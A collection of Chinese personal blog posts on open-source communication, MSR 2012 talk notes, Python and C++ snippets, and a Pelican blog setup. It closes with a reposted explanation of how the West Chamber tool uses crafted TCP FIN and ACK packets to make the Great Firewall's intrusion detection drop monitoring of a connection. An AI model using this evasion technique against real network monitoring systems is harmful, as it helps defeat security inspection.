有些時候,您只要看看別人在做些什麼,然後告訴他們您想到的關鍵之處,不必自己跳下去實作,也可以幫助他們走得更好更遠。
在做開源工作時,我們得時常提醒自己,我們並不是孤身一人。由於需要和許多人合作,我們最需要注意的,就是不斷改進自己的溝通技巧。
我們經常會彼此溝通對未來的規劃,例如軟體專案的發展藍圖,以及我們的個人計劃,像是接下來想要實作哪些功能等等。
在開源社群中,我注意到一件事情:人們對如何做軟體往往有很好的規劃,可是卻由於缺乏良好的溝通,而讓彼此的計劃互相衝突。如果您朝向某個規劃埋頭開發,而沒有與人溝通的話,很可能會傷害到其他朝向不同方向開發的人。
我們就像一窩在蜂巢裡的蜜蜂,要經常發出嗡嗡聲,才能讓彼此持續發揮功能。
此外,我們還會不時討論技術問題,嘗試找出最好的解決方案。在面對技術問題的時候,人們可能會互相爭論、甚至大動肝火,讓事情難以獲得實質的進展。
所以,我們在工作過程裡,要逐漸學會接受各種各樣的可能性。對於您自己想到的解法,您當然應該持續努力,但也不妨對別人所提出的其他可能性,抱持開放的態度。
而在您自己的工作有所進展時,也可以透過各種通訊管道,讓大家知道您做了些什麼。發電郵、寫推特… 有很多方法能讓人們知道您的進度。
有時候我們可能會覺得害羞,或是不想被別人認為自己在吹噓。但其實事情完全不是這樣!多溝通對專案有好處,對專案裡的人也是好事,因為他們可以從您所作的事情裡學到東西。
溝通的另一個重點是問問題。有社群的好處,就是可能有人已經解決過您正在面對的問題。透過論壇或聊天室主動發問,可以為您省去很多時間。
同樣的道理,當別人想要學習時,您也可以認真回應,而不是對簡單的問題拋下一句「RTFM(去看該死的說明書)」就算了。
如果您回答「RTFM」,的確可以為自己省些時間,但是您一旦這麼做,同時也是在告訴別人說,他們一開始就不應該問問題。而這絕對不是您想要的效果,您要的是培養對方溝通的意願。
學著如何去給別人有幫助的答案,幫助他們一同走上這條開源之道,日後他們才能把這條路走得更長、更遠。
有些時候,批評別人是必要的。雖然我們對各種可能性抱持開放的態度,但針對特定的技術問題,確實可能有某種解法比其他的都要正確。即使如此,當您想要讓別人改變他們的看法,最好的方式是用友善的態度提出回應,對方才會用開放的胸懷來向您學習。
即使對方態度惡劣,也請保持優雅。難免有些人會對您很不客氣,但這也是參與開源的必經之路。有時候,臉皮厚一點也有好處。雖然有些人的溝通方式有待加強,但他們說的內容或許也有可取之處,您還是可以從中學到東西。
從這個角度來看,就算人們說話的時候不禮貌,您還是可以禮貌地回應他們。
溝通的另一部分不是說話,而是傾聽。有時我們須要做的,不是告訴別人我們的想法,而是靜靜地坐好,讓別人暢所欲言。
光是聆聽是不夠的,我們還需要有同理心。英文有句俗話說:「如果您真想瞭解某人的話,請穿上他的鞋走一哩路。」 — 或許只有這樣,您才能明白別人所經過的煎熬。
有些人以為,能夠從事開源軟體工作的人,個個都得是天才。事實絕非如此。的確有 Larry、Guido、Linus 這樣的人物,但其實任何一個專案,都需要各方面具有不同才能的人加入。
重要的是,無論您有多聰明,都要保持謙虛。因為只有謙虛的人,才能以開放的態度面對其他人,學會用新方法來做事。謙遜的心態,讓您能歡迎其他人加入您的專案。相反的,抱持驕傲自大的態度,就等於是在跟其他人說:「我不需要你們,我用自己的方法做事就夠了。」
也是因為謙遜,我們才能歡迎各種性別、各種文化的人加入社群,為開源軟體帶來多元而豐富的人才。
就像各個國家有不同的語言和文化一樣,相同的多元性,也體現在各式各樣的開源專案裡。舉例來說,Linux 社群、Perl 社群、Ruby 社群和 Python 社群,都各自用獨特的方式來交流合作。
只要我們懷著一顆謙卑的心,就可以看到自己專案所屬的社群並不是唯一的途徑,也才能夠欣賞其他社群裡的合作方式。
另外,做開源專案並不只是享受樂趣而已。樂趣當然是有,但同時也有責任。當您承諾參與一個專案時,您是讓雙肩扛上了重量。這是件好事,因為責任能讓我們進步,變成更好的人。
但是人生中還有其他的事情,像是您的伴侶、父母、孩子、職業等等。對於開源專案,我們可能會承擔一段時間的責任,但到了某天,我們可能會發現,自己不能再負起那麼多的責任了。
我們要意識到這是一個循環。一開始我們加入社群,然後逐漸負起越來越多的責任。但當人生到達某個階段之後,您總會逐漸減少所負的責任。這個過程完全是自然的,而且在專案的生命週期裡一定會發生。
所以我們不妨想想:「哪天我無法再付出那麼多心力的時候,誰來繼續我的工作呢?」
為了確保其他人能繼續我們的工作,我們可以創造出某種持續前進的過程:盡力教導與分享我們所學到的一切,同時也向其他人學習更多的事物。這是一個不斷吸收與分享知識的過程。
最後,當您在為開源工作的時候,請保持快樂吧,讓您的臉上帶著笑容,讓其他人分享您的喜悅!因為正是這種樂趣給予我們力量,讓我們能創造出偉大的事物。
您現在更快樂了嗎?:-)
沒怎麼聽懂,只記得講到了finance is not money但是沒聽懂這個和軟件有什麼關係。
講到他們試圖改善現有的模型去更精確地評估軟件開發的開銷。
他們會給PM建議之前的項目的歷史數據,然後對於新項目,他們建議歷史上已有 的項目的數據,從而幫助PM得到更精確的評估。他們試圖儘量減少項目評估對PM 的經驗的需求,從而幫助即使經驗很少的PM也能準確評估項目的開銷。
他們的觀點:
Context-specfic solutions needed!
我們需要更上下文相關的解決方案!
Early user paticipation is key!
早期用戶的參與是關鍵
Common mistakes in logging messages
在日誌記錄中容易犯的錯誤
他們學習了歷史上的log記錄,然後試圖找到重複修改的輸出log的語句,確定log 中存在的問題。他們首先確定修改是事後修改。
通常的修改的比例(9027個修改)
45% | 靜態文本 |
27% | 打印出的變量 |
26% | 調試等級verbosity |
2% | 日誌輸出的位置 |
他們發現有調試等級的變化,是因爲安全漏洞之類的原因,或者在開銷和數據 之間的權衡。
大多數對log的變量的修改都是爲了增加一個參數。他們之前的LogEnhancer是爲了 解決這個問題而提出的,通過靜態檢查,提醒程序員是否忘記了某個參數
對text的修改是因爲要改掉過時的代碼信息,避免誤導用戶。
他們的實驗是採用了基於code clone 的技術,找到所有log語句,然後找不一致 的clone,然後自動提出建議。
趨勢:到處都是多核,但是併發程序呢?
他們研究的對象是Scala和Java,因爲可以編譯後確認JVM字節碼的語義。
實驗的參與者都經過4周的訓練,實驗項目是工業等級的開發項目
結果:
scala 的項目平均比java多花38%的時間,主要都是花在Test和debug上的時間。
程序員的經驗和總體時間相關,但是對test和debug沒有顯著影響。
scala的爲了讓編程更有效率的設計,導致debug更困難。比如類型推導,debug 的時候需要手動推導,來理解正在發生什麼。
scala的程序比java小,中位數2.6%,平均15.2%
multi-paradigram are better
Test data generation 測試數據自動生成
Large Empirical Studies - not always possible
For open source software - big enough
Try to solve classification problem
research questions
motivating
Sustainability
In-Memory Technology: Expected Sustainable Benefits
- consider all software lifecycle phases in your design
- avoid energy expensive behavior in your codes
- design lean architectures
- 2% green IT
- 98% green IT
Line based hashing code clone detection
never do anything harder than sorting
hashing a window of 5 lines of normalized (tokenized) code, dropping 3/4 of the hashing
把ccfinder一個月的工作縮短到了3, 4天。沒有比較presion和recall。
14% | type1 |
16% | type2 |
17% | type3 (not really type2) |
in sw - func call graph - module dependency graph
developer interaction graph - commit logs - bug reports
experiment 11 oss, 27~171 release, > 9 years
graph metrics
"Actionable intelligence" from graph evolution
OSS don't work without contributors form community
mozilla (2000-2008)
10^2.2 LTC <- 2 order -> 10^4.2 new contributors <- 3.5 order -> 10^7.7 users
gnome (1999-2007)
10^2.5 LTC <- 1.5 order -> 10^4.0 new contributors <- 3.5 order -> 10^6.5 users
regression model
newcomers to LTC conversion drops
a empirial assessment of pair programming and test-first programming
can agile help auxiliary functions?
Addressed the race condition of accessing database or filesystem of PHP
異常處理的代碼不但難寫,而且難以驗證。各種組合情況難以估計,尤其是手機 系統上。
tactic traceability information models
參加了今年的MSR,會場在University of Zurich。一大早來到大學,註冊有點 小插曲,顯然瑞士人搞不清楚中國人的名字,3個楊(Yang)姓的中國人的名牌 被搞錯了。然後堀田學長的所屬被寫作了“Japan, Japan”,成爲了全日本的代表。
首先是來自微軟亞洲研究院(MicroSoft Research @ Asia, MSR Asia)的Keynots, 於是就變成了MSR在MSR的演講。MSR的張冬梅(Dongmei Zhang)女士的演講 分爲關於Software Analysis和XIAO的兩部分。XIAO是MSRA開發的Code Clone Detector,似乎我要給井上研做的就是這個。想更多瞭解Xiao的細節,不過張女士 演講結束的時候的鼓掌導致了話筒的小故障。
感覺這篇的內容基本上就是關於
http://www.joelonsoftware.com/items/2008/09/15.html
這裏寫到的東西,然後說同樣的理論是否可以用於Issue Tracking之類的事情上。 個人感覺這個意義不大,stackoverflow之所以成功是因爲它把開源社區本身就 具有的名譽體系具現化了,本着大家都喜歡被別人奉爲大牛的心態,就如同 wikipedia一樣。同樣的理論如果用於公司內部的Issue Tracking系統上,會得到 完全不同的東西吧。就像MSDN的組織方式雖然和wikipedia是一樣的,但是在MSDN 裏找信息的感覺和在wikipedia完全不一樣。個人不太看好這個方向。
這篇的slide在這裏可以看到:http://www.slideshare.net/gousiosg/ghtorrent-githubs-data-from-a-firehose-13184524
Data exporter for github. Github的主要數據,代碼,已經可以通過git接口 獲得了,wiki是git的形式保存的。所以這個項目的目的就是暴露別的數據,主要 是issue tracking,code comments,這種。代碼訪問github api,然後用分佈式 實現以克服api的限制,然後提供torrents形式的history下載。github api獲得 的json數據以bson的形式保存在MongoDB裏,解析過的有了Schema之後的數據保存 在MySQL裏並可以導出SQL。
個人的想法,覺得數據如果能夠更統一,全部存在Git裏或許更好,像Wiki一樣。 同樣是要暴露全部歷史記錄的目的,用Torrent自己實現的歷史遠不如用Git的 接口實現的歷史記錄方便吧,git blame之類的也更方便追蹤code comment之類的 作者信息。當然對git的raw date直接讀寫,需要對git的內部原理有足夠的理解, 或許只有github的人有這種能力了。
用得兩個參數, DE 和 AIC,完全不能理解,過後研究。實驗針對了Firefox, Mylyn, Eclipse三個軟件。試圖從Repo中分析源代碼的identifier和comments, 找到topic和bug之間的關係,比如怎樣的topic更容易導致bug。得出的結論似乎 也很曖昧,只是說核心功能被報告的bug更多,但是不知道原因。這只能表示核心 功能受到更多關注和更多測試吧,並不能說明核心功能就容易產生bug。
不過這個的Slide做得很漂亮,很容易理解。
第二天的Keynotes,關於將Social Media和Software Development相結合的想法。 或許就是Github賴以成功的基礎。講到代碼中的comment, Tags, uBlog, blog之類 的social的特性和IDE的融合的趨勢。
使用Firefox作爲例子。
結論是快速發佈導致bug更多,更容易crash,但是bug更快得到修復,並且用戶 更快轉向新的發佈。
Performance bugs are regression, blocks release.
經常工具(比如git)的使用者並沒有按照工具設計者的意圖使用工具,這給MSR 帶來很多困難。舉個例子,git有非常完美的branch系統,通常期望git的使用者 能夠在一次commit裏commit一個功能,比如一個bug的修復,或者一個feature的 添加,但是事實上經常有很多邏輯上的commit被合併在一個裏面了。
或許這不是使用者的錯,而是工具仍然不夠人性的表現。或許我們可以自動把 一次的commit按照語義分割成多個。
分割之後,可以更容易地把issue和commit關聯,也更容易組織更多的研究。
題目爲``Incorporating Version Histories in Information Retrieval Based Bug Localization''的人用的slide是beamer的。公式很多,overlay很多,列表 很多,圖片很少,典型的beamer做出的slide。思維導圖用得很不錯。今天一天 有至少3個slide是用beamer做的。
題目爲``Towards Improving Bug Tracking Systems with Game Mechanisms'' 的人用了prezi,圖片很多,過度很多。但是比如沒有頁號沒有頁眉頁腳,正式 會議的場合不太方便。
至少有六個以上用了Apple Keynotes,Keynotes做出來的東西真的和Powerpoint 做出來的很難區別,其中兩個人用了初始的主題所以才看出來。
剩下的自然是PPT。MSRA的張女士做的雖然是PPT,倒是有很多beamer的感覺, 比如頁眉頁腳和overlay的用法。這些如果都是PPT做出來的,會多很多額外的 人力吧。
值得一提的是有一個題目爲``Green Mining: A Methodology of Relating Software Change to Power Consumption''的人的slide全是``劣質''的手繪漫畫, 效果意外地好,很低碳很環保很綠色很可愛。具體效果可以參考下面的動畫,雖然 現場看到的不是一個版本:
http://softwareprocess.es/a/greenmining-presentatation-at-queens-20120522.ogv
嘛雖然這也不是什麼新聞了。MSR2012的Mining Challenge的贊助商是微軟,管理 組織者來自微軟研究院,獎品是Xbox和Kinect。然後今年的題目是:
Mining Android Bug
我看到了微軟滿滿的怨氣……
Pyssy 是用於 上海交通大學 飲水思源站 的一系列 Python 腳本和工具。
Pyssy 被有意設計爲既可以託管寄宿在 SAE [1] 上,也可以在單機上獨立使用。
項目地址: http://pyssy.sinaapp.com/
Github上的源代碼地址: https://github.com/yssy-d3/pyssy
[1] | Sina App Engine ,新浪雲平臺,類似 Google App Engine 的東西。 |
Pyssy 使用 Flask 作爲網頁服務器, 並且使用 Memcached 或者 Redis 作爲抓取 水源Web 的緩存。
SAE Python 環境下請開啓 Memcached 支持。
本地環境下請安裝 Redis-py 並運行 redis-server 服務器程序。
今天在GitHub上閒逛的時候看到一個叫做 PyRuby 的項目。項目的Readme說得很好:
PyRuby - Some Ruby for your Python! PyRuby is a simple way to leverage the power of Ruby to make your Python code more readable and beautiful. Usage All you have to do is import the ruby module: import ruby From now on you should be able to write Ruby code within a regular Python module. An example: 1.upto(10) { |n| puts n }
甚至 PyPI 上還有這個項目的包。
一開始我還以爲這又是一個野心勃勃的基於PyPy的Ruby實現,或者某種trick在Python裏面直接調用Ruby解釋器。
只有一個ruby.py文件,內容是:
# -*- coding: utf-8 -*-
print("""
`.-:/+ossyhhddmmmmNNNNNNNmmmmmdddddhhhyyyyhhhyo:`
.:+sydNNNmmdhhysso++/+++++++////::::::-.```......--/oymms.
`:ohmdys+//::/::--::::////:-.```......`````.://:-` `/dNs.
.+hNds:`-:-:///::------::///++///:--....--::///::-`.///. `oMm/
/hNmo.` `` `....``````````` ...------:::-:/+/-.:/:` /NMs
oMd/` `::::--.---://+` //` `````-:::::+/-`::.` :NM+
yN` -+.` `/` o. ``::.-:. `` :NN:
:Nm - ./ : `.-://///:-. `-` `` :NN-
/NM/ .-:::-.` `/ `:sdmdhyMMMMMMNNmy/` :mNo`
:hMd: /dmddddNNmdy+-. `smmy/-```hMMMMMMMhydm/ `-.`` `...:mMm+.
-hNd/-/o/-..-::`.ydmmmmNMMMMMMNh:/+- dMN-`-+hmmmmdhhhhdddmMN-`-/o: .-::::/oydms-
oNMo:+/::. ``...--:/+ohNMNhs- :hNmmdyo:..``yo-```.--. `-`-+shdddhs+-` `.//yms.
.MMo:/`o:.:+sso+:-` sM+ ./-` /mNh+-....-/ymNNdo::--/shd+` -`:mm:
/MM-o ./ ohhsooohNmy::sh. `yM/ `:oyyyyyyhys+:.` hy `/Nh` : -NN.
-MM// -: `` y: odddhh+ -omNh- `--.` `` ```` .:ohMMs. +Ms / yMo
hMoo .+. :Mh ```` `/hNd/.` ohdddy::...`..` `-/sdmdyo+NMNh+- :Mh / sMs
.mmh:..:. :NMm `-/dMNM+ ./+++/:`.hM:`.````.` `-/shmNmh+-` /Mmooso.hM/ .: `mM/
.mNs://: .NMNMs- -:-.`/+-sms. ` `shyyyhy`sNd` `.:+sdmmmdMM-. .oNM+ :m/ `s``yMh
-mMo . sMNdMNNh+-. .ydyoyy` ``+o::+shdddhs+:-.:MM.`.-+hNMMh- `.`-/::dNs`
-NM- mMMMh:MMdNmhs+:-..```-ohs-`...-:/+syhddmMMs:-.` `/mMMdmmddNMm+` ..-/hNh-
sMy NMMM`:Mh`-/mMmmmdddddddddhhhdNNdhyo+:--.yMs `..:+ymMMMMd+--yNh. `+hNh:
-Mm NMMM/yMh -NM-`..--:NMo:--.`+My :MNoydmNMMNmhdMh` -dNs` `yMd:
`MN mMMMMMMMyshMN+:---.-MN-.....+My...-:/oyhdMMMMNmdy+-` +Mh:sNm/ yMy`
MN yMMMMMMMMMMMMMMMMMNMMMMNNNNNMMMNNNMMMMMNmhMM/-. `yMMNs. /My
`MN :MMmMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmmdy+:-``NM- ./hNNy- /Nd`
-Mh dMydMmsNMNdNNMMmmmNMMMdddhys+yMo`` /Nm: `:yNNdo. .sNd.
+Ms .mMsMN::NN:.:MN: `.+NM. +Mo +Mm+ymNdo- .omm+`
yM: .hNMd+:sMN. oMm. oMo +Mh ```.:+shMNmy+-``.-:-..-//-`:yNmo`
mM. :ohmNNMMdhyMMdo//+Mm//////sMNhyhhdmNNmhs/-``./+/:--+so/-:smNy/`
.Mm `` .-:/+osyyhhddddddddddhhyysoo+/:-. `./+//--+oo/--+ymmy/.
:Mh .: `+:` `.------------` ```-////:/++/:../ydNdo:`
+Ms `/` :+o+:-``` ``..-::///++///:-.`-+ydNdo:`
oMs :/:.`` `..---.``` ````````..-:/:::---.` `-ohmmh+:`
/Mh .://///:::-----.-----.......` `-+hmmy+-
sMy` ``````-+ydmy+-
/mNs-` `./ohmNMNNNmy+-
/yNmho/:.``````````.-:/+syhdNmdyso+/-.`
`:+ydmNMNNNNNNNNNmdhys+/:.`
``.....`
LOL U MAD?
""")
import sys
sys.exit(1)
是的……的確……這種嘗試把Python和Ruby放在一起的想法絕對是瘋了……
這兩天在飲水思源的C板,關於C++模板的類型轉換的一個討論,後面是我的解答。
今天在書上看到模板演繹的時候可以允許cast-down,於是我寫了個東西:
template <bool _Test, class _Type = void>
struct enable_if { };
template<class _Type>
struct enable_if<true, _Type> {
typedef _Type type;
};
class A { };
class B : A { };
template <typename T>
struct traits { static int const value = false; };
template <>
struct traits<A> { static int const value = true; };
template <typename T>
void f(T, typename enable_if<traits<T>::value>::type* = 0) { }
template <>
void f<A>(A, enable_if<traits<A>::value>::type*) { }
template <typename T>
class BB {};
template <typename T>
class DD : public BB<T> {};
template <typename T> void ff(BB<T>) {};
int main(int argc, char * argv[])
{
A a; B b;
DD<long> dd;
//f(b);
ff(dd);
}
奇怪的是重載決議的時候,
f
的情況下它就不讓我特化的
f<A>
進來。
但是在
ff
的情況下,
ff<BB<long>>
卻進來了。
在VC10和GCC3.4下測試
我們來設身處地地作爲編譯器,看一遍到底發生了什麼。
約定符號
#
:
A#B
是把
B
帶入
A<T>
的參數
T
之後實例化得到的結果。
DD<long> dd;
處理到這句的時候,編譯器看到了
DD<long>
的實例化,於是去實例化
DD#long
,繼而實例
化了
BB#long
。
ff(dd);
這句,首先計算重載函數集合。
第一步,需要從參數
DD#long -> BB<T>
推斷
ff<T>
的
T
。根據函數模板參數推斷規則:
:code:`class_template_name<T>` 類型的參數,可以用於推斷 :code:`T` 。
於是編譯器推斷
T
爲
long
。這裏就算不是
BB
而是完全無關的
CC
都可以推斷成功,只要
CC
也
是一個
CC<T>
形式的模板。
第二步,模板特化匹配。因爲只有一個模板,所以匹配了最泛化的
ff<T>
。
第三步,模板實例化。
推斷了
long -> T
之後,編譯器實例化
ff#long
。
重載函數集合:
{ff#long}
然後重載抉擇找到唯一的可匹配的實例
ff#long
,檢查實際參數
DD#long
可以隱式轉換到
形式參數
BB#long
,從而生成了這次函數調用。
f(b);
計算候選重載函數集合。
第一步,對所有
f
模板推斷實參。根據函數模板參數推斷規則:
帶有 :code:`T` 類型的參數,可以用於推斷 :code:`T` 。
於是
B -> T
被推斷出來了。
第二步,模板特化匹配。
這裏
B
不是
A
,所以不能用
f<A>
特化,只能用
f<T>
模板。
第三步,模板實例化。
B
帶入
f<T>
實例化成
f#B
的過程中,實例化
traits#B
。
由於沒有針對
B
的特化,所以用
traits<T>
模板,
traits#B::value=false
,進而
enable_if#false
沒有
type
,出錯。
唯一的模板匹配出錯,重載函數集合爲空,SFINAE原則不能找到合適的匹配,於是報錯。
似乎一夜之間所有的 極客們 都 有了 自己 的 Github主頁 和 Octopress 博客。就像所有人在他們的博客中指出的,靜態博客的確比傳統的WordPress方式具有更多優勢。 自從看到這些 我就一直在想着自己搭一個 Octopress 。
一上手就被 Octopress的搭建步驟 煩到了。 RVM 是什麼? rbenv 又是什麼? 看來 Ruby 社區的快節奏發展已經超過了我的想象,他們似乎需要一套發行版管理器來調和不同版本之間的 Ruby 的兼容性問題。 雖然同樣的兼容性問題在 Python 社區也有 [1] ,不過總覺得 Python 至少還沒到需要一個發行版管理器的程度 [2] 。
真正的問題是我手上還沒有一個可以讓我隨便玩的 Linux 環境(真的想要……)。 而無論是 RVM 還是 rbenv 似乎都只支持 Unix/Linux/MacOSX 。 身爲極客就註定不能用 Windows 麼?(或許是的……)。
剩下的問題就是 Ruby 和 Python 兩大陣營的對立問題了。我不熟悉 Markdown , 相對來說比較喜歡 ReST 。 似乎無論哪邊都要 依賴 Pygments 作爲代碼着色器,那麼其實 Rubyist 也至少需要安裝 Python 。 我傾向於不依賴任何 Ruby 組件,最好沒有 C 擴展 的純 Python 實現。
於是我開始在 Github 上找 Python 的靜態博客引擎。 Flask 的作者 mitsuhiko 寫的 rstblog 看起來不錯,不過似乎沒有多少人在用。 Hyde 似乎很完善,不過默認的標記語言是 MarkDown , 又依賴於幾個 Ruby 組建,而且官方網站的設計實在太前衛。 最終我看到了 Pelican 。
[1] | 比如 Python 2.x 與 3.x 之間看似難以跨越的鴻溝,以及 PyPy 、 CPython 、 Stackless 、 Cython 等各個實現之間的微妙差別。 |
[2] | 是的,我們有 easy_install ,我們有 pip , 不過這些都是包管理器,都是裝好特定的Python實現之後的事情。 Python實現本身還不需要包管理器來管理。 Python 的版本問題基本上也只需要 2to3.py 和 3to2.py 這樣的輕量級轉換器就可以了,你不需要爲了安裝多個軟件而在硬盤裏留下多個不同版本的 Python 。 如果爲了引用的穩定性,你可以用 virtualenv ,不過這又是另一回事情了。 |
對我而言, Pelican 相比於 Octopress 有幾個好處:
不過似乎 Pelican 的關注度不如 Octopress 那麼高,現在一些部分還有細微的問題:
- pelican-import 從 WordPress 導入的時候對中文、日文的支持似乎很成問題。
- 日期格式、時區、字符集、和多語言功能的結合度還不夠。 我在嘗試改善它。
- 模板還不夠豐富。
- 插件也不夠多……
希望這麼優秀的工具能夠受到更多關注,以上這些問題都是增加關注度之後很快就能解決的問題。
安裝 Pelican 很容易,一句話就夠了:
$ pip install pelican
然後把文章寫成ReST的格式,放在`pages`文件夾裏面。(重新)生成只要:
$ pelican -s settings.py
上傳到 Github:
$ git commit -am "Commit message"
$ git push
就這麼簡單。附上我的配置文件:
# -*- coding: utf-8 -*-
TIMEZONE = 'Asia/Tokyo'
DATE_FORMATS = {
'en':('usa','%a, %d %b %Y'),
'zh':('chs','%Y-%m-%d, %a'),
'jp':('jpn','%Y/%m/%d (%a)'),
}
# windows locale: http://msdn.microsoft.com/en-us/library/cdax410z%28VS.71%29.aspx
LOCALE = ['usa', 'chs', 'jpn', # windows
'en_US', 'zh_CN', 'ja_JP'] # Unix/Linux
DEFAULT_LANG = 'zh'
SITENAME = 'Farseerfc Blog'
AUTHOR = 'Jiachen Yang'
DISQUS_SITENAME = 'farseerfcgithub'
GITHUB_URL = 'https://github.com/farseerfc'
SITEURL = 'http://farseerfc.github.com'
TAG_FEED = 'feeds/%s.atom.xml'
SOCIAL = (('twitter', 'http://twitter.com/farseerfc'),
('github', 'https://github.com/farseerfc'),
('facebook', 'http://www.facebook.com/farseerfc'),
('weibo', 'http://weibo.com/farseerfc'),
('renren', 'http://www.renren.com/farseer'),
)
TWITTER_USERNAME = 'farseerfc'
THEME='notmyidea'
CSS_FILE = "wide.css"
DEFAULT_CATEGORY ='Others'
OUTPUT_PATH = '.'
PATH = 'posts'
很久沒有寫過blog或者之類的東西了。這邊一直荒廢着。
由於國內被牆的原因,另一個wordpress: http://fchome.sinaapp.com/ 應該會同步更新這裏的內容。
抽空寫點什麼吧。
導入自 renren
From: Bill Gates
’-- Sent: Sunday, January 24, 1999 8:41 AM
Jeff Westorinon; Ben Fathi ;
TO: Carl Stork (Exchange); Nathan Myhrvofd; Eric Rudder
Subject: ACPI extensions
One thing I find myself wondering about is whether we shouldn’t try and make the "ACPI" extensions somehow Windows specific.
It seems unfortunate if we do this work and get our partners to do the work and the result is that Linux works great without having to do the work.
Maybe there is no way to avoid this problem but it does bother me.
Maybe we could define the APIs so that they work well with NT and not the others even if they are open.
Or maybe we could patent something relaled to this.
From:
http://antitrust.slated.org/www.iowaconsumercase.org/011607/3000/PX03020.pdf
如果這就是我至今在Xen4.0上得不到ACPI 3.0的完善支持的原因,那麼我詛咒Bill Gates!
好神奇的想法,先存着,以後慢慢研究
原文: http://blog.youxu.info/2010/03/14/west- chamber/
待月西廂下,迎風戶半開。隔牆花影動,疑是玉人來。
最近推上最流行的一個關鍵詞是”西廂計劃”, 這個計劃名字取得很浪漫,客戶端叫做張生,對,就是西廂記裏面那個翻牆去見崔鶯鶯小姐的張生;顯然,服務器端必然叫做崔鶯鶯。客戶端的張生是最重要的部件,可以不依賴於服務端工作。因爲西廂計劃的作者只是簡要的介紹了一下原理,其他報道又語焉不詳,我當時就覺得很好奇,花了昨天一個晚上詳細讀了一下源代碼,終於知道怎麼回事了,覺得原理非常漂亮,所以寫篇文章介紹總結一下。
先說大方向。大家都知道,連接被重置的本質,是因爲收到了破壞連接的一個 TCP Reset 包。以前劍橋大學有人實驗過,客戶端和服務器都忽略 Reset, 則通信可以不受影響。但是這個方法其實只有理論價值,因爲絕大多數服務器都不可能忽略 Reset 的 (比如 Linux, 需要 root 權限配置iptables, 而且這本身也把正常的 Reset 給忽略了)。只要服務器不忽略 Reset, 客戶端再怎麼弄都沒用,因爲服務器會停止發送數據,Reset 這條連接。所以,很多報道說西廂計劃是忽略 Reset, 我從源代碼來看應該不是這樣。在我看來,西廂計劃是利用了牆的一個可能的弱點–牆只在連接發起的時候把一個 TCP 連接加入監聽序列,如果牆認爲這個連接終止了,就會從監聽序列中去掉這條記錄,這樣,這條連接上後續的包就不會被監聽。西廂計劃就是讓牆“認爲”這個連接終止的一個絕妙的方法。只要牆認爲這個連接兩端都是死老虎,牆就不會觸發關鍵詞檢測,其後所有的數據,都不存在連接被重置的問題了。
如何讓一個連接置之死地而後生,就是西廂計劃那幫黑客神奇的地方了。這也不是一日之功。 首先,這幫牛人發現,牆的是一個入侵檢測系統,把含有關鍵字的包當成一種“入侵”來對待。採取這種設計有很多好處,但缺點是入侵檢測系統可能具有的問題,牆都可能有。西廂計劃主頁上那篇著名的論文就是講這些七七八八的漏洞的。可以說處理這些七七八八的漏洞是非常困難的,迫使牆的設計者“拆東牆,補西牆”。這樣補來補去,外表看起來好像很牛逼的牆,其實有很多本質上無法簡單修補的漏洞,其中有一個致命的,就是 TCP 連接狀態的判定問題。 出於入侵檢測系統這種設計的侷限,牆沒有,也沒辦法準確判定一條 TCP 連接的狀態,而只是根據兩邊收到的數據來“推測”連接的狀態。而所有的關鍵詞檢測功能,都是基於“連接還活着”的這個推測的結果的。因爲牆的規則是在連接發起的時候開始對這條連接的檢測,在連接終止的時候停止對這條連接的檢測,所以,一旦對連接的狀態推測錯誤,把還活着的連接當成已經關閉的連接,牆就會放棄對這條連接上隨後所有的包的檢測,他們都會都透明的穿過牆的入侵檢測。
上面只是想法,具體到 TCP 協議實現這一層,就要只迷惑牆,還不能觸及我要通信的服務器。最理想的情況下,在任何有效通信之前,就能讓牆出現錯誤判斷,這些,就需要對 TCP 協議有深刻理解了。西廂計劃的那幫黑客,居然真的去讀 TCP 幾百頁的 RFC,還居然就發現了方法(這裏我假設讀者都知道 TCP 的三次握手過程和序列號每次加一的規則)。 我們都知道,三次握手的時候,在收到服務器的 SYN/ACK 的時候,客戶端如果發送 ACK 並且序列號+1 就算建立連接了,但是客戶端如果發送一個序列號沒 +1 的 FIN (表示連接終止,但是服務器知道,這時候連接還沒建立呢, FIN 這個包狀態是錯的,加上序列號也是錯的,服務器自己一判斷,就知道這個包是壞包,按照標準協議,服務器隨手丟棄了這個包), 但這個包,過牆的時候,在牆看來,是表示連接終止的(牆是 ma de in china, 是比較山寨的,不維護連接狀態,並且,牆並沒有記下剛纔服務器出去的 SYN/ACK 的序列號,所以牆不知道序列號錯了)。所以,牆很高興的理解爲連接終止,舒了一口氣去重置其他連接了, 而這個連接,就成了殭屍,牆不管你客戶端了,而這時候,好戲纔剛剛開始。
事實上,牆是雙向檢測的(或者說對每個包都檢測的),因此,對服務器和客戶端實現相同的對待方法,所以,牆不管客戶端還不行,假如服務端有關鍵詞傳給客戶端,牆還是有可能要發飆的(這裏說有可能,因爲我也不知道)。所以,最好的辦法就是,讓服務端也給牆一個終止連接的標誌就好了。可是這個說起來簡單,做起來難,怎麼能讓不受自己控制的服務器發一個自己想要的包呢? 西廂計劃的那幫黑客,再次去讀幾百頁的 RFC, 令人驚訝的發現,他們居然在 RFC 上發現了一個可以用的特性。我們上面說了,三次握手的時候,在收到 SYN/ACK 後,客戶端要給服務器發送一個序列號+1 的ACK,可是,假如我不+1呢,直接發 ACK 包給服務器。 牆已經認爲你客戶端是死老虎了,不理你了,不知道你搞什麼飛機,讓這個 ACK 過了。可是服務器一看,不對啊,你給我的不是我期待的那個序列號, RFC 上說了,TCP 包如果序列號錯了的話,就回復一個 Reset. 所以,服務器就回復了一個 Reset。這個 Reset 過牆的時候,牆一看樂了,服務器也終止連接了,好吧,兩邊都是死老虎了,我就不監聽這條連接了。而至於客戶端,這個服務器過來的 Reset 非常好識別,忽略就是。隨後,客戶端開始正確的發送 ACK, 至此,三次握手成功,真正的好戲開始,而牆則認爲客戶端和服務器都是死老虎,直接放過。所以,張生就這樣透明的過了牆。 至於過牆以後所有的事情,《西廂記》裏面都有記載,各位讀者自行買書學習。
現在的西廂計劃客戶端,即“張生”模塊的防連接重置的原理就是這樣,服務器端,即鶯鶯模塊的實現也是類似的。防DNS那個,不懂 DNS 協議,所以看不懂。我猜想,因爲開發人員都是黑客,所以自然喜歡用最經得起折騰和高度定製的 Linux 開發。 現在看西廂計劃的實現,因爲依賴於 Linux 內核模塊 netfilter, 在 Linux 上如魚得水,但往其他平臺的移植可能是個亟待解決的問題。 我覺得,在其他平臺上,可以通過 libpcap 和 libnet ,在用戶態實現相同的功能,就是有點麻煩而已,有興趣的懂網絡的可以照西廂計劃原理,在家自行做出此功能;當然,全中國人民都用 Linux 最好 :)
